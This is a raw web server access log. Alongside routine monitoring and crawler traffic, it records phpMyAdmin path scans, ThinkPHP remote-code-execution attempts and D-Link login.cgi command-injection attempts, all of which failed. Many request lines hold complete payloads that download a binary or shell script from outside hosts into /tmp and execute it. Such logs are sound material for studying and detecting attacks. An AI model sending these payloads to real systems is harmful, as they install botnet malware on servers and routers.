119.29.150.36 - - [07/Feb/2020:15:26:48 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:48 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:49 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:50 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:50 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:50 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:50 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:51 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:51 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:51 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:52 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:52 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:52 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:53 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:54 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:55 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:55 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:56 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:56 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:56 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:57 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:57 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:58 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:58 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:58 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:58 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:59 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:59 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:59 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:26:59 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:27:00 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:27:00 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:27:00 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:27:02 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:27:02 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:27:05 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:27:06 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
119.29.150.36 - - [07/Feb/2020:15:27:06 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [07/Feb/2020:15:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.65.210 - - [07/Feb/2020:15:27:42 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.210 - - [07/Feb/2020:15:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
196.219.167.35 - - [07/Feb/2020:15:28:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.129.132.51 - - [07/Feb/2020:15:29:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.123.16.108 - - [07/Feb/2020:15:32:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.171.8 - - [07/Feb/2020:15:33:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.149.160.10 - - [07/Feb/2020:15:34:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:15:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.169 - - [07/Feb/2020:15:36:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [07/Feb/2020:15:36:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.143.55.121 - - [07/Feb/2020:15:37:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:15:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [07/Feb/2020:15:38:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.92.247.83 - - [07/Feb/2020:15:38:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:15:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.228.252.139 - - [07/Feb/2020:15:39:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:15:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.52.53 - - [07/Feb/2020:15:41:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [07/Feb/2020:15:43:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.220.240.108 - - [07/Feb/2020:15:43:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.74.8.24 - - [07/Feb/2020:15:49:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.120.196 - - [07/Feb/2020:15:50:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.218.61.19 - - [07/Feb/2020:15:51:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.40.184 - - [07/Feb/2020:15:51:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.182.156.3 - - [07/Feb/2020:15:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:15:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.0.247.78 - - [07/Feb/2020:15:53:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.205.15 - - [07/Feb/2020:15:55:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.147.227 - - [07/Feb/2020:15:55:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.193.91.39 - - [07/Feb/2020:15:56:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.222.24.53 - - [07/Feb/2020:15:57:18 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
177.222.24.53 - - [07/Feb/2020:15:57:18 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
177.222.24.53 - - [07/Feb/2020:15:57:19 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
177.222.24.53 - - [07/Feb/2020:15:57:19 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
177.222.24.53 - - [07/Feb/2020:15:57:20 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
177.222.24.53 - - [07/Feb/2020:15:57:20 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
177.222.24.53 - - [07/Feb/2020:15:57:21 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
177.222.24.53 - - [07/Feb/2020:15:57:21 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
177.222.24.53 - - [07/Feb/2020:15:57:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [07/Feb/2020:15:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [07/Feb/2020:15:58:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:15:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.15.113.146 - - [07/Feb/2020:15:58:41 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
54.202.192.35 - - [07/Feb/2020:15:58:44 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
3.88.186.186 - - [07/Feb/2020:15:59:06 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
54.225.5.202 - - [07/Feb/2020:15:59:11 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
3.84.79.239 - - [07/Feb/2020:15:59:14 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
54.185.216.12 - - [07/Feb/2020:15:59:20 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
34.219.36.191 - - [07/Feb/2020:15:59:25 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:15:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.142.64 - - [07/Feb/2020:16:01:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.147.227 - - [07/Feb/2020:16:03:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.237.27.204 - - [07/Feb/2020:16:05:03 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
18.237.27.204 - - [07/Feb/2020:16:05:10 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:16:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
